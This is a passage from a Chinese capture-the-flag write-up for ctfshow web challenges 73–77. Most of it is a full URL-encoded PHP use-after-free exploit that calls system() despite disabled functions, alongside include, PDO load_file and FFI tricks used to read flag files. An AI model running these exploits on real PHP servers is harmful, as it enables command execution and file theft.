%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20WIN))%20%7B%0A%20%20%20%20%20%20%20%20die(This%20PoC%20is%20for%20*nix%20systems%20only.)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)%3B%0A%0A%20%20%20%20trigger_uaf(x)%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5Bargs%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3Eweb73
继续用伪协议读取
c??php $anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );} exit(0);?发现相比 72修改了名字
看看读取
cfunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5Bargs%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20WIN))%20%7B%0A%20%20%20%20%20%20%20%20die(This%20PoC%20is%20for%20*nix%20systems%20only.)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)%3B%0A%0A%20%20%20%20trigger_uaf(x)%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5Bargs%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflagc.txt%22)%3Bob_end_flush()%3B%0A%3F%3E发现uaf失败
那我们直接读取呢
cinclude(/flagc.txt);exit(0); 发现没有过滤 include 相比 72 禁用了 uaf 但是 没有禁用include
web74
c??php $anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );} exit(0);?然后include即可
cinclude(/flagx.txt);exit(0);
web75 PDD执行读取文件
c??php $anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );} exit(0);?include 被ban UAF被ban
那我们只能调用进程来读取文件
ctry {$dbh new PDO(mysql:hostlocalhost;dbnamectftraining, root,root);foreach($dbh-query(select load_file(/flag36.txt)) as $row){echo($row[0]).|; }$dbh null;}catch (PDOException $e) {echo $e-getMessage();exit(0);}exit(0);
解释一下
$dbh new PDO(mysql:hostlocalhost;dbnamectftraining, root, root);设置 dbh 为 pdo对象 内容为 mysql 本地 数据库命 登入弱口令foreach($dbh-query(select load_file(/flag36.txt)) as $row)使用 query 执行命令 读取 flag36.txt文件内容 作为 row变量echo($row[0]).|; 将查询第一列输出$dbh null; 关闭数据连接catch (PDOException $e) {echo $e-getMessage();exit(0);}如果出现异常 那么就输出异常 并且退出exit(0); 绕过缓冲区清理 web76
c??php $anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );} exit(0);?ctry {$dbh new PDO(mysql:hostlocalhost;dbnamectftraining, root,root);foreach($dbh-query(select load_file(/flag36d.txt)) as $row){echo($row[0]).|; }$dbh null;}catch (PDOException $e) {echo $e-getMessage();exit(0);}exit(0); web77 FFI (PHP 7 7.4.0, PHP 8) 发现进程读取失败
这里又给出一个方法
FFI
c$ffi FFI::cdef(int system(const char *command););
$a/readflag 1.txt;
$ffi-system($a);c$ffi FFI::cdef(int system(const char *command););设置 ffI变量 通过 FFI的cdef方法定义system函数的原型然后设置变量 $a为 读取flag命令 并且重定位到 1.txt通过 ffi变量执行 命令 最后访问1.txt